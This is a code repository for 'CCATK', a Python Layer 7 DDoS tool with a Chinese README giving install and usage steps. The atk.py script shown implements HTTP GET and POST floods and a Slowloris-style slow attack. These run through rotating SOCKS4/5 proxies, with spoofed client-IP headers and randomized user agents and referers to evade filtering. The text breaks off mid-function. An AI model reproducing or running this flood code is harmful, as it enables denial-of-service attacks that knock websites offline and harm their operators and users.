├── README.md
├── atk.py
├── atk2.py
└── oss.sh
/README.md:
--------------------------------------------------------------------------------
1 | # CCATK-V1
2 |
3 | 使用socks4 / 5代理攻击http服务器的脚本。
4 |
5 | 删除了混合代理洪水
6 |
7 | 新特性:
8 | - 快速套接字重用
9 | - 改进的CC模式
10 | - 随机客户端IP
11 |
12 | 具体信息:
13 | - 使用Python3
14 | - 添加了更多智能选项
15 | - Http洪水
16 | - Http端口洪水
17 | - Http慢速攻击
18 | - 支持HTTPS
19 | - Socks4代理下载器
20 | - Socks4代理检查器
21 | - Socks5代理下载器
22 | - Socks5代理检查器
23 | - 随机Http发布数据
24 | - 随机Http标头
25 | - 随机Http Useragent
26 | - 移除了混合代理洪水
27 | - 添加了代理模式选择
28 | - 仍在改进的项目
29 |
30 | ## 安装
31 |
32 | pip3 install requests pysocks
33 | git clone https://github.com/BlueSkyXN/CCATK.git
34 | cd CCATK
35 |
36 | ## 使用
37 |
38 | python3 atk.py
39 |
40 |
41 | #CCATK-V2
42 |
43 | 使用socks4 / 5代理攻击http(s)服务器的脚本。
44 |
45 | 新闻:
46 |
47 | 增加了输出指示器
48 | 添加了网址解析器
49 | 信息:
50 |
51 | 使用Python3
52 | 添加了更多类似人的选项
53 | Http Get / Head / Post / Slow Flood
54 | 随机Http标头/数据
55 | Socks4/5代理下载器
56 | Socks4/5代理检查器
57 | 自定义Cookie
58 | 自定义帖子数据
59 | 支持HTTPS
60 | 支持Socks4/5
61 |
62 | ## 安装
63 |
64 | pip3 install requests pysocks
65 | git clone https://github.com/BlueSkyXN/CCATK.git
66 | cd CCATK
67 |
68 | ## 使用
69 |
70 | python3 atk2.py
--------------------------------------------------------------------------------
/atk.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #Coded by L330n123
3 | #########################################
4 | # I removed the mixed proxies flood #
5 | # because in my perspective, it doesn't #
6 | # give more performance when flooding. #
7 | # -- L330n123 #
8 | #########################################
9 | '''
10 | I'm working on Aoyama's update so this project will stop for a while
11 | '''
12 | import requests
13 | import socket
14 | import socks
15 | import time
16 | import random
17 | import threading
18 | import sys
19 | import ssl
20 | import urllib.request
21 |
22 |
23 | print ('''
24 | ///// ///// /////////////
25 | CCCCC/ CCCCC/ | CC-attack |/
26 | CC/ CC/ |-----------|/
27 | CC/ CC/ | Layer 7 |/
28 | CC///// CC///// | ddos tool |/
29 | CCCCC/ CCCCC/ |___________|/
30 | >--------------------------------------------->
31 | Python3 version 3.0 (Improvement)
32 | by BlueSkyXN
33 | ┌─────────────────────────────────────────────┐
34 | │ Tos: Don't attack ANY website │
35 | ├─────────────────────────────────────────────┤
36 | │ New stuff: │
37 | │ + Fast Port Re-use │
38 | │ + Added Random client ip │
39 | │ + Added socks mode selection │
40 | │ + Fixed slow mode │
41 | ├─────────────────────────────────────────────┤
42 | │ Link: https://github.com/BlueSkyXN/CCATK │
43 | └─────────────────────────────────────────────┘''')
44 |
45 | useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
46 | "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
47 | "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
48 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
49 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
50 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
51 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
52 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
53 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
54 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
55 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
56 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
57 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
58 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
59 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
60 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
61 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre",
62 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2",
63 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
64 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
65 | "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0",
66 | "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)",
67 | "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016",
68 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
69 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
70 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18",
71 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10",
72 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
73 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9",
74 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
75 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)",
76 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )",
77 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",
78 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
79 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5",
80 | "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre",
81 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12",
82 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
83 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
84 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14",
85 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
86 | "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a",
87 | "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2",
88 | "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0",
89 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34",
90 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1",
91 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2",
92 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
93 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
94 | "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
95 | "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ",
96 | "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
97 | "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre",
98 | "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0",
99 | "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2",
100 | "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0",
101 | "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0",
102 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
103 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
104 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
105 | "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre",
106 | "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
107 | "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2",
108 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
109 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre",
110 | "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0",
111 | "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1",
112 | "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
113 | "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8",
114 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0",
115 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15",
116 | "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko",
117 | "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
118 | "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025",
119 | "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1",
120 | "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020",
121 | "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1",
122 | "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)",
123 | "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher",
124 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
125 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8",
126 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15",
127 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8",
128 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7",
129 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5",
130 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14",
131 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)",
132 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6",
133 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)",
134 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11",
135 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)",
136 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
137 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2",
138 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330",
139 | "Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)",
140 | "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)",
141 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
142 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
143 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
144 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
145 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)",
146 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8",
147 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12",
148 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3",
149 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5",
150 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
151 | "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12",
152 | "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0",
153 | "Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15",
154 | "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
155 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3",
156 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5",
157 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8",
158 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3",
159 | "Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6",
160 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
161 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
162 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
163 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
164 | "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
165 | "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
166 | "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
167 | "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
168 | "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
169 | "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 MicroMessenger/6.6.1 NetType/4G Language/zh_CN",
170 | "Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac https://m.baidu.com/mip/c/s/zhangzifan.com/wechat-user-agent.htmlOS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C202 MicroMessenger/6.6.1 NetType/4G Language/zh_CN",
171 | "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 MicroMessenger/6.6.1 NetType/WIFI Language/zh_CN",
172 | "Mozilla/5.0 (iphone x Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",]
173 |
174 | acceptall = [
175 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
176 | "Accept-Encoding: gzip, deflate\r\n",
177 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
178 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
179 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
180 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
181 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
182 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
183 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
184 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
185 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
186 | "Accept: text/html, application/xhtml+xml",
187 | "Accept-Language: en-US,en;q=0.5\r\n",
188 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
189 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
190 | referers = [
191 | "https://www.google.com/search?q=",
192 | "https://check-host.net/",
193 | "https://www.facebook.com/",
194 | "https://www.youtube.com/",
195 | "https://www.fbi.com/",
196 | "https://www.bing.com/search?q=",
197 | "https://r.search.yahoo.com/",
198 | ]
199 | strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890&"
200 | def cc(socks_type):
201 | connection = "Connection: Keep-Alive\r\n"
202 | err = 0
203 | if str(port) == "443" :
204 | n = "HTTPS"
205 | else:
206 | n = "CC"
207 | while True:
208 | fake_ip = "X-Forwarded-For: "+str(random.randint(1,255))+"."+str(random.randint(0,255))+"."+str(random.randint(0,255))+"."+str(random.randint(0,255))+"\r\n"
209 | fake_ip += "Client-IP: "+str(random.randint(1,255))+"."+str(random.randint(0,255))+"."+str(random.randint(0,255))+"."+str(random.randint(0,255))+"\r\n"
210 | accept = random.choice(acceptall)
211 | referer = "Referer: "+random.choice(referers)+ ip + url2 + "\r\n"
212 | try:
213 | proxy = random.choice(proxies).strip().split(":")
214 | if socks_type == 4:
215 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
216 | if socks_type == 5:
217 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
218 | if err > 10:
219 | print("[!] Target or proxy maybe down| Changing proxy")
220 | break
221 | s = socks.socksocket()
222 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
223 | s.connect((str(ip), int(port)))
224 | if str(port) == '443':
225 | s = ssl.wrap_socket(s)
226 | print ("[*] "+n+" Flooding from | "+str(proxy[0])+":"+str(proxy[1]))
227 | try:
228 | for _ in range(multiple):
229 | useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
230 | get_host = "GET " + url2 + "?" + random.choice(strings)+str(random.randint(0,271400281257))+random.choice(strings)+str(random.randint(0,271004281257))+random.choice(strings) + " HTTP/1.1\r\nHost: " + ip + "\r\n"
231 | request = get_host + referer + useragent + accept + connection + fake_ip+"\r\n"
232 | s.send(str.encode(request))
233 | s.close()
234 | except:
235 | s.close()
236 | except:
237 | s.close()
238 | err = err +1
239 | cc(socks_type)
240 |
241 | def post(socks_type):
242 | post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n"
243 | content = "Content-Type: application/x-www-form-urlencoded\r\n"
244 | length = "Content-Length: 16 \r\nConnection: Keep-Alive\r\n"
245 | refer = "Referer: http://"+ ip + url2 + "\r\n"
246 | user_agent = "User-Agent: " + random.choice(useragents) + "\r\n"
247 | accept = random.choice(acceptall)
248 | data = str(random._urandom(16)) # You can enable bring data in HTTP Header
249 | request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
250 | proxy = random.choice(proxies).strip().split(":")
251 | err = 0
252 | if str(port) == "443" :
253 | n = "HTTPS"
254 | else:
255 | n = "CC"
256 | while True:
257 | try:
258 | proxy = random.choice(proxies).strip().split(":")
259 | if socks_type == 4:
260 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
261 | if socks_type == 5:
262 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
263 | if err > 10:
264 | print("[!] Target or proxy maybe down| Changing proxy")
265 | break
266 | s = socks.socksocket()
267 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
268 | s.connect((str(ip), int(port)))
269 | if str(port) == '443': # //AUTO Enable SSL MODE :)
270 | s = ssl.wrap_socket(s)
271 | s.send(str.encode(request))
272 | print ("[*] "+n+" Post Flooding from | "+str(proxy[0])+":"+str(proxy[1]))
273 | try:
274 | for _ in range(multiple):
275 | s.send(str.encode(request))
276 | s.close()
277 | except:
278 | s.close()
279 | except:
280 | s.close()
281 | err = err + 1
282 | post(socks_type)
283 |
284 | socket_list=[]
285 | def slow(conn,socks_type):
286 | proxy = random.choice(proxies).strip().split(":")
287 | if socks_type == 4:
288 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
289 | if socks_type == 5:
290 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
291 | for _ in range(conn):
292 | try:
293 | s = socks.socksocket()
294 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
295 | s.settimeout(0.6)
296 | s.connect((str(ip), int(port)))
297 | if str(port) == '443':
298 | s = ssl.wrap_socket(s)
299 | s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))# Slowloris format header
300 | s.send("User-Agent: {}\r\n".format(random.choice(useragents)).encode("utf-8"))
301 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
302 | s.send(("Connection:keep-alive").encode("utf-8"))
303 | socket_list.append(s)
304 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
305 | sys.stdout.flush()
306 | except:
307 | s.close()
308 | proxy = random.choice(proxies).strip().split(":")#Only change proxy when error, increase the performance
309 | if socks_type == 4:
